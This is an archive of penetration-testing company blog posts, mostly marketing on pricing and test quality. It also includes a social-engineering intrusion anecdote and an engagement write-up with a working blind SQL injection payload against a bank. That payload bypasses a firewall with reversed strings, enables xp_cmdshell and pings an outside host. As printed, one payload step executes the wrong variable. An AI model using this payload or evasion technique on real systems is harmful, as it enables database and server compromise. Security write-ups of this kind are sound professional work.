Archive for the ‘Childcare’ Category

How much should you spend on penetration testing services?

The most common question asked is “how much will it cost for you to deliver a penetration test to us?”.  Rather than responding to those questions each time with the same exact answer, we thought it might be best to write a detailed yet simple blog entry on the subject.  We suspect that you’ll have no trouble understanding the pricing methods described herein because they’re common sense.

The price for a genuine penetration test is based on the amount of human work required to successfully deliver the test.  The amount of human work depends on the complexity of the infrastructure to be tested.  The infrastructure’s complexity depends on the configuration of each individual network connected device. A network connected device is anything including but not limited to servers, switches, firewalls, telephones, etc.  Each unique network connected device provides different services that serve different purposes.  Because each service is different each service requires different amounts of time to test correctly. It is for this exact reason that a genuine penetration test cannot be priced based on the number of IP addresses or number of devices.  It does not make sense to charge $X per IP address when each IP address requires a different amount of work to test properly.  Instead, the only correct way to price a genuine penetration test is to assess the time requirements and from there derive workload.

At Netragard the workload for an engagement is based on science and not an arbitrary price per IP.  Our pricing is based on something that we call Time Per Parameter (TPP).  The TPP is the amount of time that a Netragard researcher will spend testing each parameter.  A parameter is either a service being provided by a network connected device or a testable variable within a web application.  Higher threat penetration tests have a higher TPP while more basic penetration tests have a lower TPP.  Certainly this makes sense because the more time we spend trying to hack something the higher the chances are of success.  Netragard’s base LEVEL 1 penetration test is our most simple offering and allows for a TPP of 5 minutes. Our LEVEL 2 penetration test is far more advanced than LEVEL 1 and allows for a TPP of up to 35 minutes.  Our LEVEL 3 penetration test is possibly the most advanced threat penetration test offered in the industry and is designed to produce a true Nation State level threat (not that APT junk).  Our LEVEL 3 penetration test has no limit on TPP or on offensive capabilities.

The details of the methodology that we use to calculate TPP is something that we share with our customers but not our competitors (sorry guys).  What we will tell you is that the count based pricing methodology that is used by our competition is a far cry from our TPP based pricing. Here’s one example of how our pricing methodology saved one of our customers $49,000.00.

We were recently competing for a Penetration Testing engagement for a foreign government department.  This department received a quote for a Penetration Test from another penetration testing vendor that also created software used by penetration testers.   When we asked the department how much money the competitive quote came in at they told us roughly $70,000.00.  When we asked them if that price was within their budget they said yes.  Our last question was about the competitive pricing methodology.  We asked the department “did the competitor price based on how many IP addresses you have or did they do a detailed workload assessment?”.  The department told us that they priced based on the number of IP addresses that they had and that the number was 64.

At that moment we understood that we were competing against a vendor that was offering a Vetted Vulnerability Scan and not a Genuine Penetration Test.  If a vendor prices an engagement based on the number of IP addresses involved then that vendor is not taking actual workload into consideration.  For example, a vendor that charges $500.00 per IP address for 10 IP addresses would price the engagement at $5,000.00.  What happens if those 10 IP addresses require 1,000 man-hours of work to test because they are exceedingly complex?  Will the vendor really find a penetration tester to work for less than $1.00 an hour?  Of course not.  The vendor will instead deliver a Vetted Vulnerability Scan and call it a Penetration Test.  They will scan the 10 IP addresses, vet the results that are produced by the scanner and exploit things where possible, then produce a report.  Moreover they will call the process of vetting “manual testing” which is a blatant lie.  Any vendor that does not properly evaluate workload requirements must use a Vetted Vulnerability Scan methodology to avoid running financially negative on the project.

The inverse of this (which is far more common) is what happened with the foreign government department.  While our competitor priced the engagement at $1093.75 per IP for 64 IP’s which equates to $70,000.00, we priced at $21,000.00 for 11 IP’s (each of which offered between 2 and 6 moderately complex Internet connectable services).  More clearly, our competitor wanted to charge the department $57,968.75 for testing 54 IP addresses that were not in use which equates to charging for absolutely nothing!  When we presented our pricing to the department we broke our costs down to show the exact price that we were charging per internet connectable service.  Needless to say the customer was impressed by our pricing and shocked by our competitor, we won the deal.

While we wish that we could tell you that being charged for nothing is a rare occurrence, it isn’t.  If you’ve received a penetration test then you’ve probably been charged for nothing.  Another recent example involves a small company that was in need of Penetration Testing for PCI.  They approached us telling us that they had already received quotes from other vendors and that the quotes were all in the thousands of dollars range.  We explained that we would evaluate their network and determine workload requirements.  When we did that we found that they had zero responding IP addresses and zero Internet connectable services which equates to zero seconds of work.   Instead of charging them for anything we simply issued them a certificate that stated that as of the date of testing no attack surface was present.  They were so surprised by our honesty  that they wrote us this awesome testimonial about their experience with us.

Finally, our TPP based pricing doesn’t need to be expensive.  In fact, we can deliver a Penetration Test to any customer with any budget.  This is because we will adjust the engagement’s TPP to match your budget.  If your budget only allows for a $10,000.00 spend then we will reduce the TPP to adjust the project cost to meet your budgetary requirements.  Just remember that reducing the TPP means that our penetration testers will spend less time testing each parameter and increasing the TPP means that they will spend more time.  The more the time, the higher the quality.   If we set your TPP at 10 but we encounter services that only require a few seconds of time to test then we will allocate the leftover time to other services that require more time to test.  Doing this ensures that complex services are tested very throughly.

 

 

PDF    Send article as PDF   

Whistleblower Series – Don’t be naive, take the time to read and understand the proposal.

In our last whistleblower article, we showed that the vast majority of Penetration Testing vendors don’t actually sell Penetration Tests. We did this by deconstructing pricing methodologies and combining the results with common sense. We’re about to do the same thing to the industry average Penetration Testing proposal. Only this time we’re not just going to be critical of the vendors, we’re also going to be critical of the buyers.

A proposal is a written offer from seller to buyer that defines what services or products are being sold. When you take your car to the dealer, the dealer gives you a quote for work (the proposal). That proposal always contains an itemized list for parts and labor as well as details on what work needs to be done. That is the right way to build a service-based proposal.

The industry average Network Penetration Testing proposal fails to define the services being offered. Remember, the word ‘define’ means the exact meaning of something. When we read a network penetration testing proposal and we have to ask ourselves “so what is this vendor going to do for us?” then the proposal has clearly failed to define services.

For example, just recently we reviewed a proposal that talked about “Ethos” and offered optional services called “External Validation” and “External Quarterlies” but completely failed to explain what “External Validation” and “External Quarterlies” were. We also don’t really care about “Ethos” because it has nothing to do with the business offering. Moreover, this same proposal absolutely failed to define methodology and did not provide any insight into how testing would be done. The pricing section was simply a single line item with a dollar value, it wasn’t itemized. Sure the document promised to provide Penetration Testing services, but that’s all it really said (sort of).

This is problematic because Penetration Testing is a massively dynamic service that contains a potentially infinite amount of techniques (attacks and tests) for penetration attempts. Some of those techniques are higher threat than others; some are even higher risk than others. If a proposal doesn’t define the tests that will be done, how they will be done, what the risks are, etc.,  then the vendor is free to do whatever they want and call it a day. Most commonly this means doing the absolute minimum amount of work while making it look like a lot.

Here’s some food for thought…

Imagine that we are a bulletproof vest Penetration Testing Company. It’s our job to test the effectiveness of bulletproof vests for our customers so that they can guarantee the safety of their buyers. We deliver a proposal to a customer that is the same quality as the average Network Penetration Testing proposal and our customer signs the proposal.

A week later, we receive a shipment of vests for testing. We hang those vests on dummies made up of ballistics gel in our firing range. We then take our powerful squirt guns, stand ten feet down range and squirt away. After the test is complete, we evaluate the vests and determine that they were not penetrated and so passed the Penetration Test. Our customer hears the great news and begins selling the vest on the open market.

In the scenario above, both parties are to blame. The customer did not do their job because they failed to validate the proposal, to demand clear definitions, to assess the testing methodology, etc. Instead they naively trusted the vendor. The vendor failed to meet their ethical responsibilities because they offered a misleading and dishonest service that would do nothing more than promote a false sense of security. In the end, the cost in damages (loss of life) will be significantly higher than the cost of receiving genuine services. In the end, the customer will suffer as will their own customers.

Unfortunately, this is what is happening with the vast majority of Network Penetration Tests. Vendors are perceived as experts by their customers and are delivering proposals like the ones described above. Customers then naively evaluate proposals assuming that all vendors are created equal and make buying decisions based largely on cost. They receive services (usually not a genuine penetration test), put a check in the box and move onto the next task. In reality, the only thing they’ve bought is a false sense of security.

How do we avoid this?

While we can’t force Network Penetration Testing firms to hold themselves to a higher standard, their customers can. If customers took the time to truly evaluate Network Penetration Testing proposals (or any proposal for that matter) then this problem would be eradicated. The question is do customers really want high quality testing or do they just want a check in the box? In our experience, both types of customers exist but most seem to want a genuine and high-quality service.

Here are a few things that customers can do to hold their Network Penetration Testing vendor to a higher standard.

  • Make sure the engagement is properly scoped (we discussed this in our previous article)
  • Make sure the proposal uses terms that are clearly defined and make sense. For example, we saw a proposal just one week before writing this article that was for “Non-intrusive Network Penetration Testing.” Is it possible to penetrate into something without being intrusive? No.
  • Make sure that the proposal defines terms that are unique to the vendor. For example, the proposal that we mentioned previously talks about “External Quarterlies” but fails to explain what that means. Why are people signing proposals that make them pay for an undefined service? Would you sign it if it had a service called “Goofy Insurance”?
  • Make sure the vendor can explain how they came to the price points that are reflected in the proposal. Ask them to break it down for you and remember to read our first article so that you understand the differences between count based pricing (wrong) and attack surface based pricing (right).
  • (We’ll provide more points in the next article).

As the customer, it is up to you to hold a vendor’s feet to the fire (we expect it). When you purchase poor quality services that are mislabeled as “Penetration Tests” then you are enabling the snake-oil vendors to continue. This is a problem because it confuses those who want to purchase genuine and high-quality services. It makes their job exceedingly difficult and in some cases causes people to lose faith in the Network Penetration Testing industry as a whole.

If you feel that what we’ve posted here is inaccurate and can provide facts to prove the inaccuracy then please let us know. We don’t want to mislead anyone and will happily modify these entries to better reflect the truth.

PDF Creator    Send article as PDF   

Whistleblower Series – Finding a genuine Penetration Testing vendor.

There’s been a theme of dishonesty and thievery in the Penetration Testing industry for as long as we can remember.  Much in the same way that merchants sold “snake-oil” as a cure-all for what ails you, Penetration Testing vendors sell one type of service and brand it as another thus providing little more than a false sense of security.  They do this by exploiting their customers lack of expertise about penetration testing and make off like bandits.  We’re going to change the game; we’re going to tell you the truth.

Last week we had a new financial services customer approach us.  They’d already received three proposals from three other well-known and trusted Penetration Testing vendors. When we began to scope their engagement we quickly realized that the IP addresses that they’d been providing were wrong.  Instead of belonging to them they belonged an e-commerce business that sold beer-making products!  How did we catch this when the other vendors didn’t?  Simple, we actually take the time to scope our engagements carefully because we deliver genuine Penetration Testing services.

Most other penetration testing vendors do what is called count based pricing which we think should be a major red-flag to anyone.  Count based pricing simply says that you will pay X dollars per IP address for Y IP addresses. If you tell most vendors that you have 10 IP addresses they’ll come back and quote you at around $5,000.00 for a Penetration Test ($500.00 per IP). That type of pricing is not only arbitrary but is fraught with serious problems. Moreover, it’s a solid indicator that services are going to be very poor quality.

Scenario 1: The Overcharge (Too much for too little)

If you have 10 IP addresses but none of those 10 IP addresses are running any connectable services then there’s zero seconds worth of work to be done.  Do you really want to pay $5,000.00 for zero seconds worth of work?  Moreover, is it ethical for the vendor to charge you $5,000.00 for testing targets that are not really testable? While we don’t think its ethical we’ve seen many, many vendors do this very thing.

Scenario 2: The Undercharge (Too little money for too much work)

What if those 10 IP addresses were serving up medium complexity web applications? Lets assume that each web application would take 100 hours to test totaling 1,000 hours of testing time (not including the reporting, presentation, etc.).  If you do the math then that equates to an absolutely absurd hourly rate of $5.00 per hour for the Penetration Tester!  Of course, no penetration tester is going to work for that much money so what are you really paying $5,000.00 for?

Well, lets assume that the very-low-end cost of a penetration tester is around $60.00 per hour (its actually higher than that).  In order to deliver 1,000 hours of work at $5,000.00 the test would need to be 92.7% automated resulting in an exact hourly rate of $60.24 per hour. Do you really want to pay $5,000.00 for a project that is 92.7% automated? Moreover, is that even a Penetration Test?

The terms Penetration Test and Vulnerability Scan only have one correct definition.  The definition of Penetration Test is a test that is designed to identify the presence of points where something can make its way into or through something else.  Penetration Tests are not assessments (best guesses) of any kind.  A Penetration Test either successfully penetrates or it does not not, there is no grey zone; there are no false positives.  (This is why we can guarantee the quality of our penetration testing services.)

A Vulnerability Assessment on the other hand is a best guess or an educated guess as to how susceptible something is to risk or harm.  Because it is an assessment and not  a test there is room for error (guessing wrong) and so false positives should be expected.  A Vulnerability Scan is similar to a Vulnerability Assessment only instead of a human doing the guess work a computer program (with a much higher margin of error) does the guess work.

So, if 92.7% of a service is based on Vulnerability Scanning then how is it that Penetration Testing vendors can label such a service a Penetration Test?  They should call it what it really is, which is a Vetted Automated Vulnerability Scan; and a Vetted Automated Vulnerability Scan is about as effective as Penetration Testing a bulletproof vest with a squirt gun.  We’re not sure about you but we wouldn’t want to wear that vest into battle. These types of services provide little more than a false sense of security.

Back on track…

The question becomes how should a vendor price their services and build their proposals? While we won’t disclose our methodology here because we don’t want to enable copycats, we will provide you with some insight through an analogy.

Your car breaks down and you call a random mechanic.  You tell the mechanic what sort of car you drive and how many miles are on it but never provide any details as to what happened.  The mechanic then quotes you $300.00 to fix your car (without ever really diagnosing it) and $50.00 for a tow.  Would you bring your car to that mechanic? How can he afford to fix your car for $300.00 and make a profit?  To accomplish that must have an arsenal of junk parts gnome slaves working for peanuts, right?  Would you really trust the quality of his work? That is count based pricing.

Fortunately automobile mechanics (most of them anyway) are more ethical than that (and gnome slaves don’t really exist anyway).  Most of them won’t deliver a quote until after they’ve evaluated your car and successfully diagnosed the problem.  Once diagnosed they’ll provide you with an itemized quote that includes parts, labor, taxes, and a timeframe for service delivery.  They won’t negotiate much on price because in most cases you are getting what you pay for.

Genuine Penetration testing vendors are no different than genuine mechanics. All Penetration Testing vendors should be held to the same standard (including us).  What you pay for in services should be a direct reflection the amount of work that needs to be done. The workload requirement should be determined through a careful, hands-on assessment. This means that when pricing is done right there is no room to adjust pricing other than to change workload. Any vendor that offers a lower price if you close before the end of the month is either offering arbitrary pricing or they are padding their costs.

What if a vendor truly needs to discount services? When we deliver Penetration Testing services we don’t charge for automation.  If we automate 10% then our services are discounted 10%.  If we automate 100% then our services are delivered to our customers free of charge. (Yes, that’s right, we’ll scan you for free while other vendors might charge thousands of dollars for that). Why charge for automation when it takes less than 3 minutes of our time to kick off a scan?  Just because we can charge for something doesn’t mean that it’s ethically right.

Anyway, this article is one of many to come in our whistle blower series. Please feel free to share or contact us with any questions.

If you feel that what we’ve posted here is inaccurate and can provide facts to prove the inaccuracy then please let us know.  We don’t want to mislead anyone and will happily modify these entries to better reflect the truth.

 

PDF Download    Send article as PDF   

The 3 ways we owned you in 2012

Here are the top 3 risks that we leveraged to penetrate into our customers’ networks in 2012. Each of these has been used to affect an irrecoverable infrastructure compromise during multiple engagements across a range of different customers. We flag a compromise “irrecoverable” when we’ve successfully taken administrative control over 60% or more of the network-connected assets. You’ll notice that these risks are more human-oriented than they are technology-oriented, thus demonstrating that your people are your greatest risk. While we certainly do focus on technological risks, they don’t fall into the top three categories.

The general methodology that we follow to achieve an irrecoverable infrastructure compromise is depicted below at a high-level.

  1. Gain entry via a single point (one of the 3 referenced below)
  2. Install custom backdoor (RADON our safe, undetectable, home-grown pseudo-malware)
  3. Identify and penetrate the domain controller (surprisingly easy in most cases)
  4. Extract and crack the passwords (we have pretty rainbows and access to this GPU cracker)
  5. Propagate the attack to the rest of the network (Distributed Metastasis)

 

Social Engineering

Social Engineering is the art of manipulating people into divulging information or performing actions usually for the purpose of gaining access to a computer system or network connected resource. It is similar to fraud, but the attacker very rarely comes face-to-face with his or her victims. Today, Social Engineering is used to help facilitate the delivery of technological attacks like the planting of malware, spy devices, etc.

During an engagement in 2012, Netragard used Social Engineering to execute an irrecoverable infrastructure compromise against one of its healthcare customers. This was done through a job opportunity that was posted on our customers website. Specifically, our customer was looking to hire a Web Application Developer that understood how to design secure applications. We built an irresistible resume and established fake references, which quickly landed us an on-site interview. When we arrived, we were picked up by our contact and taken to his office. While sitting there, we asked him for a glass of water and he promptly left us alone in his office for roughly 2 minutes. During that time, we used a USB device to infect his desktop computer with RADON (our pseudo-malware). When he returned we thanked him for the water and continued on with the interview. In the end, we were offered the job but turned it down (imagine if we accepted it).

If you aren’t subjecting your staff to real social engineering then you aren’t receiving a realistic penetration test. While the example above represents an elevated threat, we test at a variety of different threat levels. The key is to keep it realistic.

Malware

The word malware is derived from “Malicious Software.”  Any software that was written for the purpose of being malicious is by definition malware. This includes but is not limited to trojans, worms, and viruses.  Today malware is evolving and is becoming harder and harder to detect. Most people are under the pretense that their antivirus software will protect them from malware when in reality their antivirus software is borderline useless. Antivirus software can only detect malware if it knows what to look for. This means that new, never before seen variants of malware are undetectable so long as they don’t behave in any known way that would trigger false positives but never the less result in detection. What’s more interesting is that we found that antivirus software can’t even detect known malware if the known malware has been packed.

We used RADON, our home-brew “safe” malware, in nearly every engagement in 2012. RADON is designed to enable us to infect customer systems in a safe and controllable manner. Safe means that every strand is built with an expiration date that, when reached, results in RADON performing an automatic and clean self-removal. Safe also means that we have the ability to tell RADON to deinstall at any point during the engagement should any customer make the request. RADON is 100% undetectable and will completely evade all antivirus software, intrusion prevention / detection systems, etc. Why did we build RADON? We built it because we need to have the same capabilities as the bad-guys, if not then our testing wouldn’t be realistic.

One last thing that you should know about malware is that it doesn’t usually exploit technological vulnerabilities to infect systems. Instead, it exploits human gullibility and we all know that humans are far more easy to exploit than technology! The “ILOVEYOU” worm is a prime example. The worm would email itself to a victim with a subject of “I LOVE YOU” and an attachment titled “LOVE-LETTER-FOR-YOU.txt.vbs,” which was actually a copy of the worm. When a person attempted to read the attachment, they would inadvertently run the copy and infect their own computer. Once infected, the worm would begin the process again and email copies of itself to the first 50 email addresses in the victim’s address book. This technique of exploiting gullibility was so successful that in the first 10 days, more than 50 million infections were reported. Had people spent more time educating each other about the risks of socially augmented technical attacks then the impact may have been significantly reduced.

Configuration Vulnerabilities

Configuration Vulnerabilities most commonly seem to be created when third parties deploy software on customer networks.  They often fail to remove setup files, default accounts, default credentials, etc.  As a result, hackers scan the internet for common configuration vulnerabilities and often use those to penetrate into affected systems.  Sometimes configuration vulnerabilities aren’t particularly useful other than being destructive.

For example, our team was recently performing an Advanced External Penetration Test for a small bank on the southern part of the east coast. This bank had an online banking web application that was deployed by a vendor. The portal worked fine, but the vendors consultant didn’t clean up the setup files after configuration. During our engagement, we performed directory enumeration against the poorly configured target using wfuzz (standard practice during any penetration testing engagement). Our enumerator identified a directory called “AppSetup” and when it requested the page from that directory we received a message that read “Database Initialized Successfully.” Yes, that’s right, simply visiting the page wiped out one of the bank’s customer databases. What’s more scary is that this was done from the internet, didn’t require any authentication, and was unavoidable for anyone that would have simply accessed that specific URL.

Another common Configuration Vulnerability exists within networks of all sizes and has everything to do with Active Directory and the account lockout after login failure setting. When delivering a Penetration Test to two separate customers in 2012 we inadvertently created a company-wide denial of service. In both cases, the reason for the outage was because the customer had bad configurations established in Active Directory. Specifically, their lockout after 3 login failures was set to 24 hours. During both engagements, we were authorized to perform password guessing attacks against all external points of authentication. During both engagements, we managed to lock out nearly every user account for a 24-hour period. One of the customers (a large bank) couldn’t remember their master domain admin password and so their outage was extended to nearly 24 hours. In this particular case, setting a lockout to 24 hours creates a critical availability impacting vulnerability. We really don’t see any point in setting your lockout to anything greater than 5 minutes (if you want to know why feel free to leave a comment).

In closing, configuration vulnerabilities are the product of unsafe configurations. What is unfortunate is that these vulnerabilities are almost always identified through triggering, which results in an outage or damage of some sort. It’s important to remember that its not our fault that your systems might not configured properly.

 

 

Create PDF    Send article as PDF   

Quality Penetration Testing by Netragard

The purpose of Penetration Testing is to identify the presence of points where an external entity can make its way into or through a protected entity. Penetration Testing is not unique to IT security and is used across a wide variety of different industries.  For example, Penetration Tests are used to assess the effectiveness of body armor.  This is done by exposing the armor to different munitions that represent the real threat. If a projectile penetrates the armor then the armor is revised and improved upon until it can endure the threat.

Network Penetration Testing is a class of Penetration Testing that applies to Information Technology. The purpose of Network Penetration Testing is to identify the presence of points where a threat (defined by the hacker) can align with existing risks to achieve penetration. The accurate identification of these points allows for remediation.

Successful penetration by a malicious hacker can result in the compromise of data with respect to Confidentiality, Integrity and Availability (“CIA”).  In order to ensure that a Network Penetration Test provides an accurate measure of risk (risk = probability x impact) the test must be delivered at a threat level that is slightly elevated from that which is likely to be faced in the real world. Testing at a lower than realistic threat level would be akin to testing a bulletproof vest with a squirt gun.

Threat levels can be adjusted by adding or removing attack classes. These attack classes are organized under three top-level categories, which are Network Attacks, Social Attacks, and Physical Attacks.  Each of the top-level categories can operate in a standalone configuration or can be used to augment the other.  For example, Network Penetration Testing with Social Engineering creates a significantly higher level of threat than just Network Penetration Testing or Social Engineering alone.  Each of the top-level threat categories contains numerous individual attacks.

A well-designed Network Penetration Testing engagement should employ the same attack classes as a real threat. This ensures that testing is realistic which helps to ensure effectiveness. All networked entities face threats that include Network and Social attack classes. Despite this fact, most Network Penetration Tests entirely overlook the Social attack class and thus test at radically reduced threat levels. Testing at reduced threat levels defeats the purpose of testing by failing to identify the same level of risks that would likely be identified by the real threat.  The level of threat that is produced by a Network Penetration Testing team is one of the primary measures of service quality.

PDF Printer    Send article as PDF   

Netragard’s thoughts on Pentesting IPv6 vs IPv4

We’ve heard a bit of “noise” about how IPv6 may impact network penetration testing and how networks may or may not be more secure because of IPv6.  Lets be clear, anyone telling you that IPv6 makes penetration testing harder doesn’t understand the first thing about real penetration testing.

Whats the point of IPv6?

IPv6 was designed by the Internet Engineering Task Force (“IETF”) to address the issue of IPv4 address space exhaustion.  IPv6 uses a 128-bit address space while IPv4 is only 32 bits.  This means that there are 2128 possible addresses with IPv6, which is far more than the 232 addresses available with IPv4.  This means that there are going to be many more potential targets for a penetration tester to focus on when IPv6 becomes the norm.

What about increased security with IPv6?

The IPv6 specification mandates support for the Internet Protocol Security (“IPSec”) protocol suite, which is designed to secure IP communications by authenticating and encrypting each IP Packet. IPSec operates at the Internet Layer of the Internet Protocol suite and so differs from other security systems like the Secure Socket Layer, which operates at the application layer. This is the only significant security enhancement that IPv6 brings to the table and even this has little to no impact on penetration testing.

What some penetration testers are saying about IPv6.

Some penetration testers argue that IPv6 will make the job of a penetration testing more difficult because of the massive increase in potential targets. They claim that the massive increase in potential targets will make the process of discovering live targets impossibly time consuming. They argue that scanning each port/host in an entire IPv6 range could take as long as 13,800,523,054,961,500,000 years.  But why the hell would anyone waste their time testing potential targets when they could be testing actual live targets?

The very first step in any penetration test is effective and efficient reconnaissance. Reconnaissance is the military term for the passive gathering of intelligence about an enemy prior to attacking an enemy.  There are countless ways to perform reconnaissance, all of which must be adapted to the particular engagement.  Failure to adapt will result bad intelligence as no two targets are exactly identical.

A small component of reconnaissance is target identification.  Target identification may or may not be done with scanning depending on the nature of the penetration test.  Specifically, it is impossible to deliver a true stealth / covert penetration test with automated scanners.  Likewise it is very difficult to use a scanner to accuratley identify targets in a network that is protected by reactive security systems (like a well configured IPS that supports black-listing).  So in some/many cases doing discovery by scanning an entire block of addresses is ineffective.

A few common methods for target identification include Social Engineering, DNS enumeration, or maybe something as simple as asking the client to provide you with a list of targets.  Not so common methods involve more aggressive social reconnaissance, continued reconnaissance after initial penetration, etc.  Either way, it will not take 13,800,523,054,961,500,000 years to identify all of the live and accessible targets in an IPv6 network if you know what you are doing.

Additionally, penetration testing against 12 targets in an IPv6 network will take the same amount of time as testing 12 targets in an IPv4 network.  The number of real targets is what is important and not the number of potential targets.  It would be a ridiculous waste of time to test 2128 IPv6 Addresses when only 12 IP addresses are live.  Not to mention that increase in time would likely translate to an increase in project cost.

So in reality, for those who are interested, hacking an IPv6 network won’t be any more or less difficult than hacking an IPv4 network.  Anyone that argues otherwise either doesn’t know what they are doing or they are looking to charge you more money for roughly the same amount of work.

Free PDF    Send article as PDF   

Security Vulnerability Penetration Assessment Test?

Our philosophy here at Netragard is that security-testing services must produce a threat that is at least equal to the threat that our customers are likely to face in the real world. If we test our customers at a lesser threat level and a higher-level threat attempts to align with their risks, then they will likely suffer a compromise. If they do suffer a compromise, then the money that they spent on testing services might as well be added to the cost in damages that result from the breach.
This is akin to how armor is tested. Armor is designed to protect something from a specific threat. In order to be effective, the armor is exposed to a level of threat that is slightly higher than what it will likely face in the real world. If the armor is penetrated during testing, it is enhanced and hardened until the threat cannot defeat the armor. If armor is penetrated in battle then there are casualties. That class of testing is called Penetration Testing and the level of threat produced has a very significant impact on test quality and results.

What is particularly scary is that many of the security vendors who offer Penetration Testing services either don’t know what Penetration Testing is or don’t know the definitions for the terms. Many security vendors confuse Penetration Testing with Vulnerability Assessments and that confusion translates to the customer. The terms are not interchangeable and they do not define methodology, they only define testing class. So before we can explain service quality and threat, we must first properly define services.

Based on the English dictionary the word “Vulnerability” is best defined as susceptibility to harm or attack. Being vulnerable is the state of being exposed. The word “Assessment” is best defined as the means by which the value of something is estimated or determined usually through the process of testing. As such, a “Vulnerability Assessment” is a best estimate as to how susceptible something is to harm or attack.

Lets do the same for “Penetration Test”. The word “Penetration” is best defined as the act of entering into or through something, or the ability to make way into or through something. The word “Test” is best defined as the means by which the presence, quality or genuineness of anything is determined. As such the term “Penetration Test” means to determine the presence of points where something can make its way through or into something else.

Despite what many people think, neither term is specific to Information Technology. Penetration Tests and Vulnerability Assessments existed well before the advent of the microchip. In fact, the ancient Romans used a form of penetration testing to test their armor against various types of projectiles. Today, we perform Structural Vulnerability Assessments against things like the Eiffel Tower, and the Golden Gate Bridge. Vulnerability Assessments are chosen because Structural Penetration Tests would cause damage to, or possibly destroy the structure.

In the physical world Penetration Testing is almost always destructive (at least to a degree), but in the digital world it isn’t destructive when done properly. This is mostly because in the digital world we’re penetrating a virtual boundary and in the physical world we’re penetrating a physical boundary. When you penetrate a virtual boundary you’re not really creating a hole, you’re usually creating a process in memory that can be killed or otherwise removed.

When applied to IT Security, a Vulnerability Assessment isn’t as accurate as a Penetration Test. This is because Vulnerability Assessments are best estimates and Penetration Tests either penetrate or they don’t. As such, a quality Vulnerability Assessment report will contain few false positives (false findings) while a quality Penetration Testing report should contain absolutely no false positives. (though they do sometimes contain theoretical findings).

The quality of service is determined by the talent of the team delivering services and by the methodology used for service delivery. A team of research capable ethical hackers that have a background in exploit development and system / network penetration will usually deliver higher quality services than a team of people who are not research capable. If a team claims to be research capable, ask them for example exploit code that they’ve written and ask them for advisories that they’ve published.

Service quality is also directly tied to threat capability. The threat in this case is defined by the capability of real world malicious hackers. If testing services do not produce a threat level that is at least equal to the real world threat, then the services are probably not worth buying. After all, the purpose for security testing is to identify risks so that they can be fixed / patched / eliminated before malicious hackers exploit them. But if the security testing services are less capable than the malicious hacker, then chances are the hacker will find something that the service missed.

PDF    Send article as PDF   

REVERSE(noitcejnI LQS dnilB) Bank Hacking

Earlier this year we were hired to perform an Overt Web Application Penetration Test for one of our banking customers (did you click that?).This customer is a reoccurring customer and so we know that they have Web Application Firewalls and Network Intrusion Prevention Systems in play.We also know that they are very security savvy and that they respond to attacks promptly and appropriately.

Because this test was Overt in nature (non-stealth) we began testing by configuring Acunetix to use burpsuite-pro as a proxy.Then we ran an automated Web Application Vulnerability Scan with Acunetix and watched the scan populate burpsuite-pro with information.While the scan results were mostly fruitless we were able to pick up with manual testing and burpsuite-pro.

While the automated scans didn’t find anything our manual testing identified an interesting Blind SQL Injection Vulnerability.This blind SQL Injection vulnerability was the only vulnerability that we discovered that had any real potential.

It’s important understand to the difference between standard SQL Injection Vulnerabilities and Blind SQL Injection Vulnerabilities.A standard SQL Injection Vulnerability will return useful error information to the attacker and usually display that information in the attackers web browser.That information helps the attacker debug and refine the attack.Blind SQL Injection Vulnerabilities return nothing, making them much more difficult to exploit.

Since the target Web Application was protected by two different Intrusion Prevention Technologies, and since the vulnerability was a Blind SQL Injection Vulnerability, we knew that exploitation wasn’t going to be easy.To be successful we’d first need to defeat the Network Intrusion Prevention System and then the Web Application Firewall.

Defeating Network Intrusion Prevention Systems is usually fairly easy.The key is to find an attack vector that the Network Intrusion Prevention System can’t monitor.In this case (like most cases) our Web Application’s server accepted connections over SSL (via HTTPS).Because SSL based traffic is encrypted the Network Intrusion Prevention System can’t intercept and analyze the traffic.

Defeating Web Application Firewalls is a bit more challenging.In this case, the Web Application Firewall was the termination point for the SSL traffic and so it didn’t suffer from the same SSL blindness issues that the Network Intrusion Prevention System did.In fact, the Web Application Firewall was detecting and blocking our embedded SQL commands very successfully.

We tried some of the known techniques for bypassing Web Application Firewalls but to no avail.The vendor that makes this particular Web Application Firewall does an excellent job at staying current with the latest methods for bypassing Web Application Firewall technologies.

Then we decided that we’d try attacking backwards. Most SQL databases support a reverse function. That function does just what you’d think that it would do; it returns the reverse of whatever string you feed it.So we wrote our commands backwards and encapsulated then in the reverse() function provided by the SQL server.When we fed our new reversed payloads to the Web Application the Web Application Firewall failed to block the commands.

As it turns out most (maybe all) Web Application Firewalls can be bypassed if you reverse the spelling of your SQL commands. So you’d rewrite “xp_cmdshell” as “llehsdmc_px” and then encapsulate it in the reverse function.As far as we know we’re the first to discover and use this method to successfully bypass a Web Application Firewall.

The next step in the attack was to reconfigure and enable the xp_cmdshell function. The xp_cmdshell is important as it executes a given command string as an operating-system command shell and returns any output rows of text.Simply put, it’s just like sitting at the DOS prompt.

The technique used to reconfigure the xp_cmdshell functionality is well known and well documented.But, since we did it using backwards commands we thought that we would show you what it looked like.

var=1′;DECLARE @a varchar(200) DECLARE @b varchar(200) DECLARE @c varchar(200) SET @a = REVERSE (’1 ,”snoitpo decnavda wohs” erugifnoc_ps.obd.retsam’) EXEC (@a) RECONFIGURE SET @b = REVERSE (’1,”llehsdmc_px” erugifnoc_ps.obd.retsam’) EXEC (@a) RECONFIGURE SET @c =REVERSE(‘”moc.dragarten gnip” llehsdmc_px’) EXEC (@c);–

The above SQL commands do the following three things:

1-) C:\> show advanced options, 1 \n

Use the “show advanced options” option to display the sp_configure system stored procedure advanced options. When you set show advanced options to 1, you can list the advanced options by using sp_configure. The default is 0. The setting takes effect immediately without a server restart.

2-) C:\> master.dbo.sp_configure xp_cmdshell, 1

This enables the xp_cmdshell functionality in the MsSQL database so that we can execute operating-system commands by calling xp_cm
dshell.
xp_cmdshell is disabled by default.

3-) C:\> ping netragard.com

Because we were dealing with a Blind SQL Injection Vulnerability we needed a creative way to test that we’d successfully re-enabled the xp_cmdshell function.To do that we set up a sniffer on our outside firewall interface and configured it to alert us when we received pings from our banking customer’s network.Then in the SQL payload (shown above) we included the command “ping netragard.com”.Then when we received ICMP packets from our customers network we knew that our command had been executed successfully.

Now that we had confirmed that our Blind Reversed SQL Injection attack was viable and that we had successfully enabled the xp_cmdshell functionality,the last thing for us to do was to extract database information.But how do we extract database information using a Blind SQL Injection Vulnerability if the vulnerability never returns any information?

That’s actually pretty easy. Most databases support conditional statements (if condition then do something). So, we used conditional statements combined with timing to extract database information. Specifically, if table name equals “users” then wait for 3 seconds, if it doesn’t then return control immediately. Then if the database doesn’t respond for 3 seconds we know that we’ve guessed the name of one of the tables correctly.

Sure there are other things that we could have done, but we’re the good guys.

 

PDF Creator    Send article as PDF   

